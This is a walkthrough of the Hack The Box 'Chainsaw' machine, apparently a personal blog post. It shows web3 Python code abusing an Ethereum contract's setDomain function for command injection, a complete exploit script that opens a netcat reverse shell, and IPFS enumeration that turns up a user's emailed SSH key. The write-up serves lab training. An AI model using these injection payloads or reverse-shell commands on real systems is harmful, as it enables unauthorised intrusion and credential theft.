-rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json
-rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol
-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt
226 Directory send OK.
ftp> mget *
mget WeaponizedPing.json? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for WeaponizedPing.json (23828 bytes).
226 Transfer complete.
23828 bytes received in 0.26 secs (88.2424 kB/s)
mget WeaponizedPing.sol? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for WeaponizedPing.sol (243 bytes).
226 Transfer complete.
243 bytes received in 0.00 secs (2.3174 MB/s)
mget address.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for address.txt (44 bytes).
226 Transfer complete.
44 bytes received in 0.00 secs (421.2623 kB/s)
ftp> exit
221 Goodbye.
[email protected]:~/Desktop/HTB/boxes/chainsaw#

WeaponizedPing.sol:

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pragma solidity ^0.4.24;

contract WeaponizedPing
{
string store = "google.com";

function getDomain() public view returns (string)
{
return store;
}

function setDomain(string _value) public
{
store = _value;
}
}

WeaponizedPing.json:

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{
"contractName": "WeaponizedPing",
"abi": [
{
"constant": true,
"inputs": [],
"name": "getDomain",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_value",
"type": "string"
}
],
"name": "setDomain",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}
],
"bytecode": "0x60806040526040805190810160405280600a81526020017f676f6f676c652e636f6d000000000000000000000000000000000000000000008152506000908051906020019061004f929190610062565b5034801561005c57600080fd5b50610107565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106100a357805160ff19168380011785556100d1565b828001600101855582156100d1579182015b828111156100d05782518255916020019190600101906100b5565b5b5090506100de91906100e2565b5090565b61010491905b808211156101005760008160009055506001016100e8565b5090565b90565b6102d7806101166000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029",
"deployedBytecode": "0x60806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063b68d180914610051578063e5eab096146100e1575b600080fd5b34801561005d57600080fd5b5061006661014a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100a657808201518184015260208101905061008b565b50505050905090810190601f1680156100d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100ed57600080fd5b50610148600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506101ec565b005b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101e25780601f106101b7576101008083540402835291602001916101e2565b820191906000526020600020905b8154815290600101906020018083116101c557829003601f168201915b5050505050905090565b8060009080519060200190610202929190610206565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061024757805160ff1916838001178555610275565b82800160010185558215610275579182015b82811115610274578251825591602001919060010190610259565b5b5090506102829190610286565b5090565b6102a891905b808211156102a457600081600090555060010161028c565b5090565b905600a165627a7a72305820d5d4d99bdb5542d8d65ef822d8a98c80911c2c3f15d609d10003ccf4227858660029",
"sourceMap": "27:210:1:-;;;56:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;27:210;8:9:-1;5:2;;;30:1;27;20:12;5:2;27:210:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;",
"deployedSourceMap": "27:210:1:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;;8:9:-1;5:2;;;30:1;27;20:12;5:2;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;88:75:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;166:68;;8:9:-1;5:2;;;30:1;27;20:12;5:2;166:68:1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;130:6;153:5;146:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;88:75;:::o;166:68::-;223:6;215:5;:14;;;;;;;;;;;;:::i;:::-;;166:68;:::o;27:210::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o",
"source": "pragma solidity ^0.4.24;\n\n\ncontract WeaponizedPing {\n\n string store = \"google.com\";\n\n function getDomain() public view returns (string) {\n return store;\n }\n function setDomain(string _value) public {\n store = _value;\n }\n\n}\n\n",
"sourcePath": "/opt/WeaponizedPing/WeaponizedPing.sol",
"ast": {
"absolutePath": "/opt/WeaponizedPing/WeaponizedPing.sol",
"exportedSymbols": {
"WeaponizedPing": [
80
]
},
----------
Redacted
----------
"networks": {
"1543936419890": {
"events": {},
"links": {},
"address": "0xaf6ce61d342b48cc992820a154fe0f533e5e487c",
"transactionHash": "0x5e94c662f1048fca58c07e16506f1636391f757b07c1b6bb6fbb4380769e99e1"
}
},
"schemaVersion": "2.0.1",
"updatedAt": "2018-12-04T15:24:57.205Z"
}

address.txt:

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0x479C21df57F2deaB052C466E4de7E82539F6A988

WeaponizedPing: Analysis

WeaponizedPing is a smart contract. smart contracts are written in a language called solidity.

The contract has a variable called store which holds the value google.com by default:

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string store = "google.com";

There are two functions, getDomain() which returns the value of store:

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function getDomain() public view returns (string) 
{
return store;
}

And setDomain() which takes a string and changes the value of store from whatever it was to that string:

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function setDomain(string _value) public 
{
store = _value;
}

From the name of the contract (WeaponizedPing), I assumed that ping gets executed on store. We can control store by calling setDomain(), if the ping command doesn’t get filtered we’ll be able to inject commands and get RCE. However to do all of that we need to be able to interact with the contract in the first place.

WeaponizedPing: Interaction

Assuming that the contract is deployed on a publicly exposed ethereum node, I ran a full nmap scan to find the port on which the server is running:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# nmap -p- -T5 chainsaw.htb --max-retries 1 -o nmapfull
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:08 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (2.8s latency).
Not shown: 37555 closed ports, 27977 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
9810/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 674.00 seconds
[email protected]:~/Desktop/HTB/boxes/chainsaw#

I found another open port (9810), I ran a service scan on that port:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# nmap -p 9810 -sV -sT -sC -o nmap9810 chainsaw.htb                                                                                                                          
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:24 EET
Nmap scan report for chainsaw.htb (10.10.10.142)
Host is up (1.7s latency).

PORT STATE SERVICE VERSION
9810/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:25:01 GMT
| Connection: close
| Request
| GetRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:24:27 GMT
| Connection: close
| Request
| HTTPOptions:
| HTTP/1.1 200 OK
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Fri, 22 Nov 2019 17:24:30 GMT
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9810-TCP:V=7.70%I=7%D=11/22%Time=5DD819CA%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nAccess-Control-All
SF:ow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Type,\x20Accept,
SF:\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control-
SF:Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDate:\x20Fri,\x2
SF:022\x20Nov\x202019\x2017:24:27\x20GMT\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(HTTPOptions,100,"HTTP/1\.1\x20200\x20OK\r\nAcce
SF:ss-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Ty
SF:pe,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nA
SF:ccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDa
SF:te:\x20Fri,\x2022\x20Nov\x202019\x2017:24:30\x20GMT\r\nConnection:\x20c
SF:lose\r\n\r\n")%r(FourOhFourRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Requ
SF:est\r\nAccess-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x2
SF:0Content-Type,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:
SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/
SF:plain\r\nDate:\x20Fri,\x2022\x20Nov\x202019\x2017:25:01\x20GMT\r\nConne
SF:ction:\x20close\r\n\r\n400\x20Bad\x20Request");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 90.55 seconds
[email protected]:~/Desktop/HTB/boxes/chainsaw#

It responded to HTTP requests which means that the JSON-RPC server is HTTP based.
There are a lot of ways to interact with ethereum smart contracts, I used web3 python library. (A great reference)
I imported Web3 and eth:

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from web3 import Web3, eth

Then I created a new web3 connection to http://chainsaw.htb:9810 and saved it in a variable called w3:

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w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))

To interact with the smart contract we need two things:

  • The address of the contract: we got the address earlier from the ftp server (Note: that address changes everytime the box is reset).
  • The ABI (Application Binary Interface) of the contract: We can get it from the contract source.

To get the ABI I used the solidity IDE to compile the contract then I clicked on “Details” and copied the ABI:

I saved it in a file (ABI.txt) then I executed echo -n on cat ABI.txt to make it a single line:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# echo -n `cat ABI.txt`
[ { "constant": true, "inputs": [], "name": "getDomain", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setDomain", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" } ]
[email protected]:~/Desktop/HTB/boxes/chainsaw#

I saved the ABI and the address in variables:

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abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"

Then I finally created the contract representation and saved it in the variable contract:

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contract = w3.eth.contract(address=address, abi=abi)

By using the functions property we can call any function that the contract has, let’s call the function getDomain():

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print(contract.functions.getDomain().call())

Final test.py looks like this:

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#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
print(contract.functions.getDomain().call())

Let’s run it:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# ./test.py 
google.com
[email protected]:~/Desktop/HTB/boxes/chainsaw#

It’s working fine, let’s try to change the domain by using setDomain():

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contract.functions.setDomain("test").transact()

Note: When passing arguments to functions we have to use transact() instead of call(), to use transact() we need an account, that’s why I added this line:

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w3.eth.defaultAccount = w3.eth.accounts[0]

test.py:

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#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
w3.eth.defaultAccount = w3.eth.accounts[0]
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
contract.functions.setDomain("test").transact()
print(contract.functions.getDomain().call())
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[email protected]:~/Desktop/HTB/boxes/chainsaw# ./test.py 
test
[email protected]:~/Desktop/HTB/boxes/chainsaw#

Great, now for the exploitation part.

WeaponizedPing: Exploitation

Let’s try to inject commands in the domain name and see if it’ll work, I injected a curl command and I ran a python server on port 80:

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contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact()

test.py:

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#!/usr/bin/python3
import json
from web3 import Web3, eth

w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
w3.eth.defaultAccount = w3.eth.accounts[0]
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
address = "0x0e8385E6A7b5f4fFE58a02bD506e53e9f3FAD453"
contract = w3.eth.contract(address=address, abi=abi)
contract.functions.setDomain("test; curl http://10.10.xx.xx/").transact()
print(contract.functions.getDomain().call())
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[email protected]:~/Desktop/HTB/boxes/chainsaw# ./test.py 
test; curl http://10.10.xx.xx/
[email protected]:~/Desktop/HTB/boxes/chainsaw#

After a few seconds I got a request:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.142 - - [22/Nov/2019 20:59:23] "GET / HTTP/1.1" 200 -

Based on these tests I wrote this small exploit:

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#!/usr/bin/python3
import json
from web3 import Web3, eth
from sys import argv

YELLOW = "\033[93m"
GREEN = "\033[32m"

def exploit(address, ip, port):
print(YELLOW + "[+] Starting")
print(YELLOW + "[+] Connecting to chainsaw.htb:9810")
w3 = Web3(Web3.HTTPProvider('http://chainsaw.htb:9810'))
print(GREEN + "[*] Connection Established")
w3.eth.defaultAccount = w3.eth.accounts[0]
print(YELLOW + "[+] Creating the contract representation")
print(YELLOW + "[+] Address: {}".format(address))
abi = json.loads('[{"constant":true,"inputs":[],"name":"getDomain","outputs":[{"name":"","type": "string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"string"}],"name":"setDomain","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]')
contract = w3.eth.contract(address=address, abi=abi)
print(GREEN + "[*] Done")
print(YELLOW + "[+] Injecting Reverse Shell:")
print(YELLOW + " [!] IP: {}".format(ip))
print(YELLOW + " [!] PORT: {}".format(port))
contract.functions.setDomain("pwn3d;nc {} {} -e /bin/sh".format(ip,port)).transact()
print(GREEN + "[*] Domain Changed Successfully, New Value: " + contract.functions.getDomain().call())
print(GREEN + "[*] Now wait for your reverse shell, Exiting...")
exit()

if len(argv) != 4 or argv[1] == "-h":
print(YELLOW + "[!] Usage: {} [contract address] [ip] [port]".format(argv[0]))
exit()
else:
address = argv[1]
ip = argv[2]
port = argv[3]
exploit(address, ip, port)

I listened on port 1337 and ran the exploit:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# ./exploit.py 0x479C21df57F2deaB052C466E4de7E82539F6A988 10.10.xx.xx 1337
[+] Starting
[+] Connecting to chainsaw.htb:9810
[*] Connection Established
[+] Creating the contract representation
[+] Address: 0x479C21df57F2deaB052C466E4de7E82539F6A988
[*] Done
[+] Injecting Reverse Shell:
[!] IP: 10.10.xx.xx
[!] PORT: 1337
[*] Domain Changed Successfully, New Value: pwn3d;nc 10.10.xx.xx 1337 -e /bin/sh
[*] Now wait for your reverse shell, Exiting...
[email protected]:~/Desktop/HTB/boxes/chainsaw#

And I got a shell immediately as a user called administrator:

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[email protected]:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.142.
Ncat: Connection from 10.10.10.142:49262.
whoami
administrator
which python
/usr/bin/python
python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/opt/WeaponizedPing$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/chainsaw# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337

[email protected]:/opt/WeaponizedPing$ export TERM=screen
[email protected]:/opt/WeaponizedPing$

ipfs –> SSH as bobby –> User Flag

There were 2 users on the box, administrator and bobby:

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[email protected]:/opt/WeaponizedPing$ cd /home
[email protected]:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Dec 12 2018 .
drwxr-xr-x 25 root root 4096 Dec 20 2018 ..
drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 administrator
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 bobby
[email protected]:/home$

administrator had no permission to access bobby‘s home directory:

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[email protected]:/home$ cd bobby/
bash: cd: bobby/: Permission denied
[email protected]:/home$

In administrator‘s home directory I noticed a directory called .ipfs:

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[email protected]:/home$ cd administrator/
[email protected]:/home/administrator$ ls -la
total 104
drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null
-rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout
-rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc
-rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv
drwxrwxr-x 5 administrator administrator 4096 Jan 23 2019 .ipfs
drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local
drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2
-rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt
-rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf
-rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null
-rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc
[email protected]:/home/administrator$

The InterPlanetary File System (IPFS) is a protocol and peer-to-peer network for storing and sharing data in a distributed file system. IPFS uses content-addressing to uniquely identify each file in a global namespace connecting all computing devices. -Wikipedia

Take a look at the cli documentation.
I used ip refs local to list the local references:

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[email protected]:/home/administrator$ ipfs refs local
QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y
QmPctBY8tq2TpPufHuQUbe2sCxoy2wD5YRB6kdce35ZwAx
QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB
QmdL9t1YP99v4a2wyXFYAQJtbD9zKnPrugFLQWXBXb82sn
QmSKboVigcD3AY4kLsob117KJcMHvMUu6vNFqk1PQzYUpp
QmUHHbX4N8tUNyXFK9jNfgpFFddGgpn72CF1JyNnZNeVVn
QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1
QmWSLAHhiNVRMFMv4bnE7fqq9E74RtXTRm9E1QVo37GV9t
QmPjsarLFBcY8seiv3rpUZ2aTyauPF3Xu3kQm56iD6mdcq
QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri
QmdfTbBqBPQ7VNxZEYEj14VmRuZBkqFbiwReogJgS1zR1n
QmfRZWFfaugHeY5gcgNDrnRkxhPT3epmHodryPYK3it6kk
QmZTR5bcpQD7cFgTorqxZDYaew1Wqgfbd2ud9QqGPAkK2V
QmejvEPop4D7YUadeGqYWmZxHhLc4JBUCzJJHWMzdcMe2y
QmbkQxbErC7KSWzSQw2FC13LUm9Rbo2XjeFQZbcmdarpuz
QmPpsT37SpTbZkAeMz7LXiJ8nQseBNziGBzpW1YtM67qx6
QmXWS8VFBxJPsxhF8KEqN1VpZf52DPhLswcXpxEDzF5DWC
QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp
Qmb7oGTxge7amSArtJsGUAqswY8y1G7m5QNjV57Nj5sEHU
QmS4ustL54uo8FzR9455qaxZwuMiUhyvMcX9Ba8nUH4uVv
QmXymZCHdTHz5BA5ugv9MQTBtQAb6Vit4iFeEnuRj6Udrh
QmUNLLsPACCz1vLxQVkXqqLX5R1X345qqfHbsf67hvA3Nn
Qma6kDKzUzFioo62v4LZaNsrwmCojF9AqwLaQJubRFnsAa
QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me
QmXgqKTbzdh83pQtKFb19SpMCpDDcKR2ujqk3pKph9aCNF
QmYn3NxLLYA6xU2XL1QJfCZec4B7MpFNxVVtDvqbiZCFG8
QmWMuEvh2tGJ1DiNPPoN6rXme2jMYUixjxsC6QUji8mop8
QmY5heUM5qgRubMDD1og9fhCPA6QdkMp3QCwd4s7gJsyE7
QmQ5vhrL7uv6tuoN9KeVBwd4PwfQkXdVVmDLUZuTNxqgvm
QmZMUdskS6vK8ycBiAffrYAE4wUDuWX9eK7kNgQqPCGbwF
QmPC3ZbrMeZ8BpstpNseNV4fCRL4QDzUKrSv8EHkarbn7r
QmPhk6cJkRcFfZCdYam4c9MKYjFG9V29LswUnbrFNhtk2S
QmSyJKw6U6NaXupYqMLbEbpCdsaYR5qiNGRHjLKcmZV17r
QmZZRTyhDpL5Jgift1cHbAhexeE1m2Hw8x8g7rTcPahDvo
QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS
QmcMCDdN1qDaa2vaN654nA4Jzr6Zv9yGSBjKPk26iFJJ4M
QmPZ9gcCEpqKTo6aq61g2nXGUhM4iCL3ewB6LDXZCtioEB
Qmc7rLAhEh17UpguAsEyS4yfmAbeqSeSEz4mZZRNcW52vV
[email protected]:/home/administrator$

I used ipfs ls on every hash to list the contents, most of them were empty or useless except for this one which had some email messages:

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[email protected]:/home/administrator$ ipfs ls QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri
QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB 10063 artichain600-protonmail-2018-12-13T20_50_58+01_00.eml
QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF 4640 bobbyaxelrod600-protonmail-2018-12-13-T20_28_54+01_00.eml
QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp 10084 bryanconnerty600-protonmail-2018-12-13T20_50_36+01_00.eml
QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1 10083 laraaxelrod600-protonmail-2018-12-13T20_49_35+01_00.eml
QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me 10092 wendyrhoades600-protonmail-2018-12-13T20_50_15+01_00.eml
[email protected]:/home/administrator$

We’re interested in bobby‘s file so I used ipfs get to get it:

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[email protected]:/home/administrator$ ipfs get QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
Saving file(s) to QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
4.53 KiB / 4.53 KiB 100.00% 0s
[email protected]:/home/administrator$ ls -al
total 112
drwxr-x--- 8 administrator administrator 4096 Nov 22 19:50 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null
-rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout
-rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc
-rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv
drwxrwxr-x 5 administrator administrator 4096 Nov 22 19:50 .ipfs
drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local
drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2
-rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile
-rw-r--r-- 1 administrator administrator 4629 Nov 22 19:50 QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt
-rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf
-rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null
-rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc
[email protected]:/home/administrator$

The email had his encrypted ssh key as an attachment:

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[email protected]:/home/administrator$ cat QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
X-Pm-Origin: internal
X-Pm-Content-Encryption: end-to-end
Subject: Ubuntu Server Private RSA Key
From: IT Department <[email protected]>
Date: Thu, 13 Dec 2018 19:28:54 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------d296272d7cb599bff2a1ddf6d6374d93
To: [email protected] <[email protected]>
X-Attached: bobby.key.enc
Message-Id: <zctvLwVo5mWy8NaBt3CLKmxVckb-cX7OCfxUYfHsU2af1[email protected]protonmail.ch>
Received: from mail.protonmail.ch by mail.protonmail.ch; Thu, 13 Dec 2018 14:28:58 -0500
X-Original-To: [email protected]
Return-Path: <[email protected]>
Delivered-To: [email protected]
-----------------------d296272d7cb599bff2a1ddf6d6374d93
Content-Type: multipart/related;boundary=---------------------ffced83f318ffbd54e80374f045d2451
-----------------------ffced83f318ffbd54e80374f045d2451
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

PGRpdj5Cb2JieSw8YnI+PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj5JIGFtIHdyaXRpbmcgdGhp
cyBlbWFpbCBpbiByZWZlcmVuY2UgdG8gdGhlIG1ldGhvZCBvbiBob3cgd2UgYWNjZXNzIG91ciBM
aW51eCBzZXJ2ZXIgZnJvbSBub3cgb24uIER1ZSB0byBzZWN1cml0eSByZWFzb25zLCB3ZSBoYXZl
IGRpc2FibGVkIFNTSCBwYXNzd29yZCBhdXRoZW50aWNhdGlvbiBhbmQgaW5zdGVhZCB3ZSB3aWxs
IHVzZSBwcml2YXRlL3B1YmxpYyBrZXkgcGFpcnMgdG8gc2VjdXJlbHkgYW5kIGNvbnZlbmllbnRs
eSBhY2Nlc3MgdGhlIG1hY2hpbmUuPGJyPjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+QXR0YWNo
